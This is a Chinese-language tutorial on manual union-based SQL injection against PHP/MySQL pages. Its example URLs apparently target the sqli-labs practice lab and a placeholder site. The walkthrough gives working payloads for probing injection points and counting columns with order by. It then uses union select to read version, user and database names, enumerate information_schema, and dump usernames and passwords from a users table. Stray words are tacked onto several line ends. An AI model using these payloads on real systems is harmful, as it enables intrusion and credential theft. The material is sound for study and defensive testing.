从网页传入参数注入php
这是SQL注入中最多见的方法,而且根据该注入原理有跟多SQL注入工具mysql
一样,首先应测试是否存在注入漏洞,简单的:’ 或 and 1=1 and 1=2之类的SQL语句。sql
若是没有检测,直接运行SQL语句,说明有机会注入。数据库
从参数注入,简单的测试方法是:工具
① http://www.xxx.com/index.php?id=2测试
② http://www.xxx.com/index.php?id=2' and 1=1spa
③ http://www.xxx.com/index.php?id=2' and 1=2orm
能够注入的表现:it
① 正常显示(这是必然的,否则程序就有错)io
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没作任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
注入具体步骤示例:
步骤:
1 先判断是否有注入点 and 1=1 and 1=2
2 再判断字段数量 order by x 若是页面回显正常,则字段数为 order by 后面的数字 http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
3 使用联合查询 union
用 union 语句查看当前是哪几位有效
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+
4 根据有效位,更改这两位变量进行查询
1 select @@basedir 查询数据库安装路径
2 select @@datadir 查询数据库所在目录
3 select version() 查询数据库的版本
4 select user() 查询当前数据库的使用用户
5 select database() 当前使用数据库的名字
5 查看当前数据库里有哪些表
(补充:
Mysql5.0以上版本手工注入
Information_schema:存储mysql数据库下全部数据库的表名和列名信息的自带数据库
information_schema.schemata:存储mysql数据库下全部数据库的库名信息的表 (字段名为 schema_name的字段值)
information_schema.tables:存储mysql数据库下全部数据库的表名信息的表 (字段名为 table_name:表名
条件为 table_schema:数据库名 )
information_schema.columns:存储mysql数据库下全部数据库的列名信息的表 (字段名为column_name:的字段值))
6 根据查询到的有用信息表user,想查看其表中有哪些属性即列名。
例如:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+
7 查看users表里面具体的用户信息。
http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+
基本步骤:
1、找到注入点;
2、判断当前表的字段;
3、用联合语句查看哪几位是有效位;
4、查看当前数据库中有哪些表;
5、查看表中有哪些属性;
6、查看表中具体的数据信息。